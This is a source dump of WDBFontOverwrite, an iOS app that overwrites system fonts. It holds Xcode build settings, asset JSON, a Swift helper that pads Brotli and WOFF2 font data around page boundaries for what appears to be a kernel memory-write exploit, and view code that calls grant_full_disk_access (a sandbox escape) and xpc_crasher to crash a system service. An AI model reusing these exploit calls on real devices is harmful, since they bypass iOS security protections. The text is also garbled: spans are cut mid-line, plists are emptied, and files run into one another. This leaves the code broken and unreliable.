WDBImportCustomFontPickerViewControllerDelegate.swift in Sources */, 293 | C5C9A7A12959263A00466D87 /* OverwriteFontImpl.swift in Sources */, 294 | 4F4E64A7295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift in Sources */, 295 | ); 296 | runOnlyForDeploymentPostprocessing = 0; 297 | }; 298 | /* End PBXSourcesBuildPhase section */ 299 | 300 | /* Begin XCBuildConfiguration section */ 301 | C5C9A79B2959261200466D87 /* Debug */ = { 302 | isa = XCBuildConfiguration; 303 | buildSettings = { 304 | ALWAYS_SEARCH_USER_PATHS = NO; 305 | CLANG_ANALYZER_NONNULL = YES; 306 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 307 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 308 | CLANG_ENABLE_MODULES = YES; 309 | CLANG_ENABLE_OBJC_ARC = YES; 310 | CLANG_ENABLE_OBJC_WEAK = YES; 311 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 312 | CLANG_WARN_BOOL_CONVERSION = YES; 313 | CLANG_WARN_COMMA = YES; 314 | CLANG_WARN_CONSTANT_CONVERSION = YES; 315 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 316 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 317 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 318 | CLANG_WARN_EMPTY_BODY = YES; 319 | CLANG_WARN_ENUM_CONVERSION = YES; 320 | CLANG_WARN_INFINITE_RECURSION = YES; 321 | CLANG_WARN_INT_CONVERSION = YES; 322 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 323 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 324 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 325 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 326 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 327 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 328 | CLANG_WARN_STRICT_PROTOTYPES = YES; 329 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 330 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 331 | CLANG_WARN_UNREACHABLE_CODE = YES; 332 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 333 | COPY_PHASE_STRIP = NO; 334 | DEBUG_INFORMATION_FORMAT = dwarf; 335 | ENABLE_STRICT_OBJC_MSGSEND = YES; 336 | ENABLE_TESTABILITY = YES; 337 | GCC_C_LANGUAGE_STANDARD = gnu11; 338 | GCC_DYNAMIC_NO_PIC = NO; 339 | GCC_NO_COMMON_BLOCKS = YES; 340 | GCC_OPTIMIZATION_LEVEL = 0; 341 | GCC_PREPROCESSOR_DEFINITIONS = ( 342 | "DEBUG=1", 343 | "$(inherited)", 344 | ); 345 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 346 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 347 | GCC_WARN_UNDECLARED_SELECTOR = YES; 348 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 349 | GCC_WARN_UNUSED_FUNCTION = YES; 350 | GCC_WARN_UNUSED_VARIABLE = YES; 351 | IPHONEOS_DEPLOYMENT_TARGET = 15.0; 352 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 353 | MTL_FAST_MATH = YES; 354 | ONLY_ACTIVE_ARCH = YES; 355 | SDKROOT = iphoneos; 356 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; 357 | SWIFT_OPTIMIZATION_LEVEL = "-Onone"; 358 | }; 359 | name = Debug; 360 | }; 361 | C5C9A79C2959261200466D87 /* Release */ = { 362 | isa = XCBuildConfiguration; 363 | buildSettings = { 364 | ALWAYS_SEARCH_USER_PATHS = NO; 365 | CLANG_ANALYZER_NONNULL = YES; 366 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 367 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 368 | CLANG_ENABLE_MODULES = YES; 369 | CLANG_ENABLE_OBJC_ARC = YES; 370 | CLANG_ENABLE_OBJC_WEAK = YES; 371 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 372 | CLANG_WARN_BOOL_CONVERSION = YES; 373 | CLANG_WARN_COMMA = YES; 374 | CLANG_WARN_CONSTANT_CONVERSION = YES; 375 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 376 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 377 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 378 | CLANG_WARN_EMPTY_BODY = YES; 379 | CLANG_WARN_ENUM_CONVERSION = YES; 380 | CLANG_WARN_INFINITE_RECURSION = YES; 381 | CLANG_WARN_INT_CONVERSION = YES; 382 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 383 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 384 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 385 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 386 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 387 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 388 | CLANG_WARN_STRICT_PROTOTYPES = YES; 389 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 390 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 391 | CLANG_WARN_UNREACHABLE_CODE = YES; 392 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 393 | COPY_PHASE_STRIP = NO; 394 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 395 | ENABLE_NS_ASSERTIONS = NO; 396 | ENABLE_STRICT_OBJC_MSGSEND = YES; 397 | GCC_C_LANGUAGE_STANDARD = gnu11; 398 | GCC_NO_COMMON_BLOCKS = YES; 399 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 400 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 401 | GCC_WARN_UNDECLARED_SELECTOR = YES; 402 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 403 | GCC_WARN_UNUSED_FUNCTION = YES; 404 | GCC_WARN_UNUSED_VARIABLE = YES; 405 | IPHONEOS_DEPLOYMENT_TARGET = 15.0; 406 | MTL_ENABLE_DEBUG_INFO = NO; 407 | MTL_FAST_MATH = YES; 408 | SDKROOT = iphoneos; 409 | SWIFT_COMPILATION_MODE = wholemodule; 410 | SWIFT_OPTIMIZATION_LEVEL = "-O"; 411 | VALIDATE_PRODUCT = YES; 412 | }; 413 | name = Release; 414 | }; 415 | C5C9A79E2959261200466D87 /* Debug */ = { 416 | isa = XCBuildConfiguration; 417 | buildSettings = { 418 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 419 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; 420 | CLANG_ENABLE_MODULES = YES; 421 | CODE_SIGN_STYLE = Automatic; 422 | CURRENT_PROJECT_VERSION = 1; 423 | DEVELOPMENT_ASSET_PATHS = "\"WDBFontOverwrite/Preview Content\""; 424 | DEVELOPMENT_TEAM = WNUZX4NA7T; 425 | ENABLE_PREVIEWS = YES; 426 | GENERATE_INFOPLIST_FILE = YES; 427 | INFOPLIST_FILE = WDBFontOverwrite/Info.plist; 428 | INFOPLIST_KEY_NSAppleMusicUsageDescription = WDBFontOverwrite; 429 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; 430 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; 431 | INFOPLIST_KEY_UILaunchScreen_Generation = YES; 432 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 433 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 434 | IPHONEOS_DEPLOYMENT_TARGET = 14.0; 435 | LD_RUNPATH_SEARCH_PATHS = ( 436 | "$(inherited)", 437 | "@executable_path/Frameworks", 438 | ); 439 | LIBRARY_SEARCH_PATHS = ( 440 | "$(inherited)", 441 | "$(PROJECT_DIR)/WDBFontOverwrite", 442 | ); 443 | MARKETING_VERSION = 1.10.8; 444 | PRODUCT_BUNDLE_IDENTIFIER = com.ginsudev.WDBFontOverwrite; 445 | PRODUCT_NAME = "$(TARGET_NAME)"; 446 | SWIFT_EMIT_LOC_STRINGS = YES; 447 | SWIFT_OBJC_BRIDGING_HEADER = "WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h"; 448 | SWIFT_OPTIMIZATION_LEVEL = "-Onone"; 449 | SWIFT_VERSION = 5.0; 450 | TARGETED_DEVICE_FAMILY = "1,2"; 451 | }; 452 | name = Debug; 453 | }; 454 | C5C9A79F2959261200466D87 /* Release */ = { 455 | isa = XCBuildConfiguration; 456 | buildSettings = { 457 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 458 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; 459 | CLANG_ENABLE_MODULES = YES; 460 | CODE_SIGN_STYLE = Automatic; 461 | CURRENT_PROJECT_VERSION = 1; 462 | DEVELOPMENT_ASSET_PATHS = "\"WDBFontOverwrite/Preview Content\""; 463 | DEVELOPMENT_TEAM = WNUZX4NA7T; 464 | ENABLE_PREVIEWS = YES; 465 | GENERATE_INFOPLIST_FILE = YES; 466 | INFOPLIST_FILE = WDBFontOverwrite/Info.plist; 467 | INFOPLIST_KEY_NSAppleMusicUsageDescription = WDBFontOverwrite; 468 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; 469 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; 470 | INFOPLIST_KEY_UILaunchScreen_Generation = YES; 471 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 472 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 473 | IPHONEOS_DEPLOYMENT_TARGET = 14.0; 474 | LD_RUNPATH_SEARCH_PATHS = ( 475 | "$(inherited)", 476 | "@executable_path/Frameworks", 477 | ); 478 | LIBRARY_SEARCH_PATHS = ( 479 | "$(inherited)", 480 | "$(PROJECT_DIR)/WDBFontOverwrite", 481 | ); 482 | MARKETING_VERSION = 1.10.8; 483 | PRODUCT_BUNDLE_IDENTIFIER = com.ginsudev.WDBFontOverwrite; 484 | PRODUCT_NAME = "$(TARGET_NAME)"; 485 | SWIFT_EMIT_LOC_STRINGS = YES; 486 | SWIFT_OBJC_BRIDGING_HEADER = "WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h"; 487 | SWIFT_VERSION = 5.0; 488 | TARGETED_DEVICE_FAMILY = "1,2"; 489 | }; 490 | name = Release; 491 | }; 492 | /* End XCBuildConfiguration section */ 493 | 494 | /* Begin XCConfigurationList section */ 495 | C5C9A78A2959261000466D87 /* Build configuration list for PBXProject "WDBFontOverwrite" */ = { 496 | isa = XCConfigurationList; 497 | buildConfigurations = ( 498 | C5C9A79B2959261200466D87 /* Debug */, 499 | C5C9A79C2959261200466D87 /* Release */, 500 | ); 501 | defaultConfigurationIsVisible = 0; 502 | defaultConfigurationName = Release; 503 | }; 504 | C5C9A79D2959261200466D87 /* Build configuration list for PBXNativeTarget "WDBFontOverwrite" */ = { 505 | isa = XCConfigurationList; 506 | buildConfigurations = ( 507 | C5C9A79E2959261200466D87 /* Debug */, 508 | C5C9A79F2959261200466D87 /* Release */, 509 | ); 510 | defaultConfigurationIsVisible = 0; 511 | defaultConfigurationName = Release; 512 | }; 513 | /* End XCConfigurationList section */ 514 | }; 515 | rootObject = C5C9A7872959261000466D87 /* Project object */; 516 | } 517 | -------------------------------------------------------------------------------- /WDBFontOverwrite.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /WDBFontOverwrite.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /WDBFontOverwrite.xcodeproj/xcuserdata/zhuowei.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | WDBFontOverwrite.xcscheme_^#shared#^_ 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AccentColor.colorset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "colors" : [ 3 | { 4 | "color" : { 5 | "color-space" : "srgb", 6 | "components" : { 7 | "alpha" : "1.000", 8 | "blue" : "0.670", 9 | "green" : "0.690", 10 | "red" : "0.440" 11 | } 12 | }, 13 | "idiom" : "universal" 14 | } 15 | ], 16 | "info" : { 17 | "author" : "xcode", 18 | "version" : 1 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/1024 1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/1024 1.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/1024.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/1024.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/114.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/114.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/120 1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/120 1.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/120.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/120.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/180.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/180.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/29.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/40.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/57.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/58.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/58.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/60.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/60.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/80.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/80.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/87.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/87.png -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "filename" : "1024.png", 5 | "idiom" : "universal", 6 | "platform" : "ios", 7 | "size" : "1024x1024" 8 | }, 9 | { 10 | "filename" : "40.png", 11 | "idiom" : "iphone", 12 | "scale" : "2x", 13 | "size" : "20x20" 14 | }, 15 | { 16 | "filename" : "60.png", 17 | "idiom" : "iphone", 18 | "scale" : "3x", 19 | "size" : "20x20" 20 | }, 21 | { 22 | "filename" : "29.png", 23 | "idiom" : "iphone", 24 | "scale" : "1x", 25 | "size" : "29x29" 26 | }, 27 | { 28 | "filename" : "58.png", 29 | "idiom" : "iphone", 30 | "scale" : "2x", 31 | "size" : "29x29" 32 | }, 33 | { 34 | "filename" : "87.png", 35 | "idiom" : "iphone", 36 | "scale" : "3x", 37 | "size" : "29x29" 38 | }, 39 | { 40 | "filename" : "80.png", 41 | "idiom" : "iphone", 42 | "scale" : "2x", 43 | "size" : "40x40" 44 | }, 45 | { 46 | "filename" : "120 1.png", 47 | "idiom" : "iphone", 48 | "scale" : "3x", 49 | "size" : "40x40" 50 | }, 51 | { 52 | "filename" : "57.png", 53 | "idiom" : "iphone", 54 | "scale" : "1x", 55 | "size" : "57x57" 56 | }, 57 | { 58 | "filename" : "114.png", 59 | "idiom" : "iphone", 60 | "scale" : "2x", 61 | "size" : "57x57" 62 | }, 63 | { 64 | "filename" : "120.png", 65 | "idiom" : "iphone", 66 | "scale" : "2x", 67 | "size" : "60x60" 68 | }, 69 | { 70 | "filename" : "180.png", 71 | "idiom" : "iphone", 72 | "scale" : "3x", 73 | "size" : "60x60" 74 | }, 75 | { 76 | "filename" : "1024 1.png", 77 | "idiom" : "ios-marketing", 78 | "scale" : "1x", 79 | "size" : "1024x1024" 80 | } 81 | ], 82 | "info" : { 83 | "author" : "xcode", 84 | "version" : 1 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /WDBFontOverwrite/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "author" : "xcode", 4 | "version" : 1 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /WDBFontOverwrite/BrotliPadding.swift: -------------------------------------------------------------------------------- 1 | import Compression 2 | import Foundation 3 | 4 | enum PackageInBrotliError: Error { 5 | case notEnoughSpaceForHeader 6 | } 7 | 8 | /// Stores the input data in a Brotli stream: does not compress, only store. 9 | /// Pads the last byte of every 16k boundary with 0x41. 10 | func packageInBrotliSkippingLastByteOfPage(input: Data, startingAddress: Int) throws -> Data { 11 | // https://datatracker.ietf.org/doc/html/rfc7932#section-11.1 12 | let pageSize = 0x4000 13 | var currentPageOff = startingAddress & (pageSize - 1) 14 | // Check for the one case we can't pad around: we start near the end of the page and 15 | // there's not enough space to pad out the last byte 16 | let streamHeaderSize = 1 17 | let metablockHeaderSize = 3 18 | let metablockPaddingHeaderSize = 2 19 | let reserveEndSpace = metablockPaddingHeaderSize + 1 20 | if pageSize - currentPageOff < (streamHeaderSize + reserveEndSpace) { 21 | throw PackageInBrotliError.notEnoughSpaceForHeader 22 | } 23 | let outStream: OutputStream = OutputStream.toMemory() 24 | outStream.open() 25 | func write(_ bytes: [UInt8]) { 26 | outStream.write(bytes, maxLength: bytes.count) 27 | } 28 | // stream header 29 | // WBITS = 18 (encoded as 0011 with little-endian bits) 30 | write([0b1100]) 31 | currentPageOff += 1 32 | var inputOff = 0 33 | while inputOff < input.count { 34 | var remainingSpace = pageSize - currentPageOff 35 | if remainingSpace > metablockHeaderSize + reserveEndSpace { 36 | let dataSize = min( 37 | remainingSpace - reserveEndSpace - metablockHeaderSize, input.count - inputOff) 38 | let isLast = 0 39 | let mNibbles = 0b00 // encoded = 4 nibbles 40 | let mLenEncoded = dataSize - 1 41 | // x | xx | 01234 42 | let firstByte = isLast | (mNibbles << 1) | ((mLenEncoded & 0b11111) << 3) 43 | // 56789abc 44 | let secondByte = (mLenEncoded >> 5) & 0xff 45 | 46 | let isUncompressed = 1 47 | // def | x 48 | let thirdByte = (mLenEncoded >> 13) & 0b111 | (isUncompressed << 3) 49 | write([UInt8(firstByte), UInt8(secondByte), UInt8(thirdByte)]) 50 | write([UInt8](input[inputOff..> 2) & 0b111111 69 | write([UInt8(firstByte), UInt8(secondByte)]) 70 | let paddingData = [UInt8](repeating: 0x41, count: dataSize) 71 | write(paddingData) 72 | } 73 | currentPageOff = 0 74 | } 75 | // write eod-of-stream 76 | write([0b11]) 77 | return outStream.property(forKey: .dataWrittenToMemoryStreamKey) as! Data 78 | } 79 | 80 | // everything is big endian! 81 | struct Woff2Header { 82 | // https://www.w3.org/TR/WOFF2/#woff20Header 83 | var signature: UInt32 84 | var flavor: UInt32 85 | var length: UInt32 86 | var numTables: UInt16 87 | var reserved: UInt16 88 | var totalSfntSize: UInt32 89 | var totalCompressedSize: UInt32 90 | var majorVersion: UInt16 91 | var minorVersion: UInt16 92 | var metaOffset: UInt32 93 | var metaLength: UInt32 94 | var metaOrigLength: UInt32 95 | var privOffset: UInt32 96 | var privLength: UInt32 97 | } 98 | 99 | enum RepackWoff2FontError: Error { 100 | case malformedInputWoff 101 | case zhuoweiMessedUp 102 | } 103 | 104 | func repackWoff2Font(input: Data) throws -> Data { 105 | let tableStart = MemoryLayout.size 106 | let headerBytes = [UInt8](input[0.. UInt16 { 139 | let oneMoreByteCode1 = 255 140 | let oneMoreByteCode2 = 254 141 | let wordCode = 253 142 | let lowestUCode = 253 143 | let first = input[tableEnd] 144 | var outNum: UInt16 = 0 145 | if first == wordCode { 146 | outNum = UInt16(input[tableEnd]) << 8 | UInt16(input[tableEnd]) 147 | tableEnd += 2 148 | } else if first == oneMoreByteCode1 || first == oneMoreByteCode2 { 149 | outNum = 150 | UInt16(input[tableEnd]) 151 | + UInt16(first == oneMoreByteCode1 ? lowestUCode : lowestUCode * 2) 152 | tableEnd += 1 153 | } else { 154 | outNum = UInt16(first) 155 | } 156 | tableEnd += 1 157 | return outNum 158 | } 159 | // version - skip 160 | tableEnd += 4 161 | let numCollectionFonts = read255UShort() 162 | for _ in 0.. String { 43 | var components = font.components(separatedBy: ".") 44 | components.removeLast() 45 | var rejoinedString = components.joined(separator: ".") 46 | if rejoinedString.hasPrefix("Custom") { 47 | rejoinedString = rejoinedString.replacingOccurrences(of: "Custom", with: "") 48 | } 49 | return rejoinedString 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /WDBFontOverwrite/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | UIAppFonts 6 | 7 | PreviewFonts/Chococooky.ttf 8 | PreviewFonts/Comic Sans MS.ttf 9 | PreviewFonts/DejaVuSansCondensed.ttf 10 | PreviewFonts/DejaVuSansMono.ttf 11 | PreviewFonts/DejaVuSerif.ttf 12 | PreviewFonts/FiraSans-Regular.ttf 13 | PreviewFonts/Go-Mono.ttf 14 | PreviewFonts/Go-Regular.ttf 15 | PreviewFonts/segoeui.ttf 16 | 17 | UIFileSharingEnabled 18 | 19 | UTImportedTypeDeclarations 20 | 21 | 22 | UTTypeConformsTo 23 | 24 | public.font 25 | 26 | UTTypeDescription 27 | WOFF2 Font 28 | UTTypeIconFiles 29 | 30 | UTTypeIdentifier 31 | public.woff2 32 | UTTypeTagSpecification 33 | 34 | public.filename-extension 35 | 36 | woff2 37 | 38 | public.mime-type 39 | 40 | font/woff2 41 | 42 | 43 | 44 | 45 | NSAppleMusicUsageDescription 46 | WDBFontOverwrite 47 | 48 | 49 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/ActionButtons.ViewModel.swift: -------------------------------------------------------------------------------- 1 | // 2 | // ActionButtons.ViewModel.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 9/2/2023. 6 | // 7 | 8 | import UIKit.UIApplication 9 | 10 | extension ActionButtons { 11 | struct ViewModel { 12 | func clearKBCache() { 13 | grant_full_disk_access { error in 14 | if error != nil { 15 | print("can't get disk access") 16 | } else { 17 | _UIKeyboardCache.purge() 18 | } 19 | } 20 | } 21 | 22 | @available(iOS 15, *) 23 | func respringModern() { 24 | grant_full_disk_access { error in 25 | if error != nil { 26 | print("can't get disk access, using backup respring") 27 | respringLegacy() 28 | } else { 29 | xpc_crasher(UnsafeMutablePointer(mutating: "com.apple.frontboard.systemappservices")) 30 | } 31 | } 32 | } 33 | 34 | @available(iOS, deprecated: 15) 35 | func respringLegacy() { 36 | let sharedApplication = UIApplication.shared 37 | let windows = sharedApplication.windows 38 | if let window = windows.first { 39 | while true { 40 | window.snapshotView(afterScreenUpdates: false) 41 | } 42 | } 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/ActionButtons.swift: -------------------------------------------------------------------------------- 1 | // 2 | // ActionButtons.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 6/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | struct ActionButtons: View { 11 | private let viewModel = ViewModel() 12 | 13 | var body: some View { 14 | if #available(iOS 15, *) { 15 | Button { 16 | viewModel.clearKBCache() 17 | } label: { 18 | AlignedRowContentView( 19 | imageName: "trash", 20 | text: "Clear keyboard cache" 21 | ) 22 | } 23 | } 24 | Button { 25 | if #available(iOS 15, *) { 26 | viewModel.respringModern() 27 | } else { 28 | viewModel.respringLegacy() 29 | } 30 | } label: { 31 | AlignedRowContentView( 32 | imageName: "arrow.triangle.2.circlepath", 33 | text: "Restart SpringBoard" 34 | ) 35 | } 36 | } 37 | } 38 | 39 | struct ActionButtons_Previews: PreviewProvider { 40 | static var previews: some View { 41 | ActionButtons() 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/AlignedRowContentView.swift: -------------------------------------------------------------------------------- 1 | // 2 | // AlignedRowContentView.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 5/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | struct AlignedRowContentView: View { 11 | let imageName: String 12 | let text: String 13 | 14 | var body: some View { 15 | HStack { 16 | Image(systemName: imageName) 17 | .font(.system(size: 20)) 18 | .frame(width: 32, height: 32) 19 | .alignmentGuide(.leading) { d in d[HorizontalAlignment.center] } 20 | Text(text) 21 | .alignmentGuide(.leading) { d in d[HorizontalAlignment.leading] } 22 | } 23 | } 24 | } 25 | 26 | struct AlignedRowContentView_Previews: PreviewProvider { 27 | static var previews: some View { 28 | AlignedRowContentView( 29 | imageName: "trash", 30 | text: "Lol" 31 | ) 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/CustomFontsScene.ViewModel.swift: -------------------------------------------------------------------------------- 1 | // 2 | // CustomFontsScene.ViewModel.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little (@ginsudev) on 31/12/2022. 6 | // 7 | 8 | import Foundation 9 | 10 | struct CustomFont { 11 | var name: String 12 | var targetPaths: [String] 13 | var localPath: String 14 | var notice: Notice? 15 | } 16 | 17 | enum CustomFontType: String { 18 | case font = "fonts" 19 | case emoji = "emojis" 20 | } 21 | 22 | extension CustomFontsScene { 23 | final class ViewModel: ObservableObject { 24 | @Published var customFontPickerSelection: Int = 0 25 | @Published var importPresented: Bool = false 26 | @Published var isPresentedFileEditor: Bool = false 27 | @Published var importTTCRepackMode: TTCRepackMode = .woff2 28 | @Published var importType: CustomFontType = .font 29 | 30 | var selectedCustomFontType: CustomFontType { 31 | customFontPickerSelection == 0 ? .font : .emoji 32 | } 33 | 34 | func batchOverwriteFonts() async { 35 | guard selectedCustomFontType == .font else { 36 | // Overwrite emoji 37 | let emojiFont = FontMap.emojiCustomFont 38 | await overwriteWithCustomFont( 39 | name: emojiFont.localPath, 40 | targetPaths: emojiFont.targetPaths 41 | ) 42 | await 